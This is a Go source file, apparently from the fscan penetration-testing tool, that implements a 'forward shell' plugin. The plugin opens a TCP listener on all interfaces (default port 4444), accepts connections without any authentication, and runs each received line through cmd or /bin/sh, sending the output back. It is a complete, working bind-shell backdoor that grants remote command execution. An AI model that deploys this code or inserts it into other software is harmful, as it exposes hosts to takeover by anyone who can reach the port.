package local import ( "bufio" "context" "fmt" "net" "os" "os/exec" "runtime" "strings" "time" "github.com/shadow1ng/fscan/common" ) // ForwardShellPlugin 正向Shell插件 - Linus式简化版本 // // 设计哲学:直接实现,删除过度设计 // - 删除复杂的继承体系 // - 直接实现Shell服务功能 // - 保持原有功能逻辑 type ForwardShellPlugin struct { name string port int listener net.Listener } // NewForwardShellPlugin 创建正向Shell插件 func NewForwardShellPlugin() *ForwardShellPlugin { port := common.ForwardShellPort if port <= 0 { port = 4444 } return &ForwardShellPlugin{ name: "forwardshell", port: port, } } // GetName 实现Plugin接口 func (p *ForwardShellPlugin) GetName() string { return p.name } // GetPorts 实现Plugin接口 - local插件不需要端口 func (p *ForwardShellPlugin) GetPorts() []int { return []int{} } // Scan 执行正向Shell服务 - 直接实现 func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { var output strings.Builder output.WriteString("=== 正向Shell服务器 ===\n") output.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) // 启动正向Shell服务器 err := p.startForwardShellServer(ctx, p.port) if err != nil { output.WriteString(fmt.Sprintf("正向Shell服务器错误: %v\n", err)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } output.WriteString("✓ 正向Shell服务已完成\n") common.LogSuccess(fmt.Sprintf("正向Shell服务完成 - 端口: %d", p.port)) return &ScanResult{ Success: true, Output: output.String(), Error: nil, } } // startForwardShellServer 启动正向Shell服务器 func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error { // 监听指定端口 listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { return fmt.Errorf("监听端口失败: %v", err) } defer listener.Close() p.listener = listener common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port)) // 设置正向Shell为活跃状态 common.ForwardShellActive = true defer func() { common.ForwardShellActive = false }() // 主循环处理连接 for { select { case <-ctx.Done(): return ctx.Err() default: } // 设置监听器超时 if tcpListener, ok := listener.(*net.TCPListener); ok { tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) } conn, err := listener.Accept() if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { continue } common.LogError(fmt.Sprintf("接受连接失败: %v", err)) continue } common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String())) go p.handleClient(conn) } } // handleClient 处理客户端连接 func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { defer clientConn.Close() // 发送欢迎信息 welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) clientConn.Write([]byte(welcome)) // 创建命令处理器 scanner := bufio.NewScanner(clientConn) for scanner.Scan() { command := strings.TrimSpace(scanner.Text()) if command == "" { continue } if command == "exit" { clientConn.Write([]byte("Goodbye!\n")) break } // 执行命令并返回结果 p.executeCommand(clientConn, command) } if err := scanner.Err(); err != nil { common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err)) } } // executeCommand 执行命令并返回结果 func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { var cmd *exec.Cmd // 根据平台创建命令 switch runtime.GOOS { case "windows": cmd = exec.Command("cmd", "/c", command) case "linux", "darwin": cmd = exec.Command("/bin/sh", "-c", command) default: conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS))) return } // 设置命令超时 ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) // 执行命令并获取输出 output, err := cmd.CombinedOutput() if ctx.Err() == context.DeadlineExceeded { conn.Write([]byte("命令执行超时\n")) return } if err != nil { conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err))) return } // 发送命令输出 if len(output) == 0 { conn.Write([]byte("(命令执行成功,无输出)\n")) } else { conn.Write(output) if !strings.HasSuffix(string(output), "\n") { conn.Write([]byte("\n")) } } // 发送命令提示符 prompt := p.getPrompt() conn.Write([]byte(prompt)) } // getPrompt 获取平台特定的命令提示符 func (p *ForwardShellPlugin) getPrompt() string { hostname, _ := os.Hostname() username := os.Getenv("USER") if username == "" { username = os.Getenv("USERNAME") // Windows } if username == "" { username = "user" } switch runtime.GOOS { case "windows": return fmt.Sprintf("%s@%s> ", username, hostname) case "linux", "darwin": return fmt.Sprintf("%s@%s$ ", username, hostname) default: return fmt.Sprintf("%s@%s# ", username, hostname) } } // 注册插件 func init() { RegisterLocalPlugin("forwardshell", func() Plugin { return NewForwardShellPlugin() }) }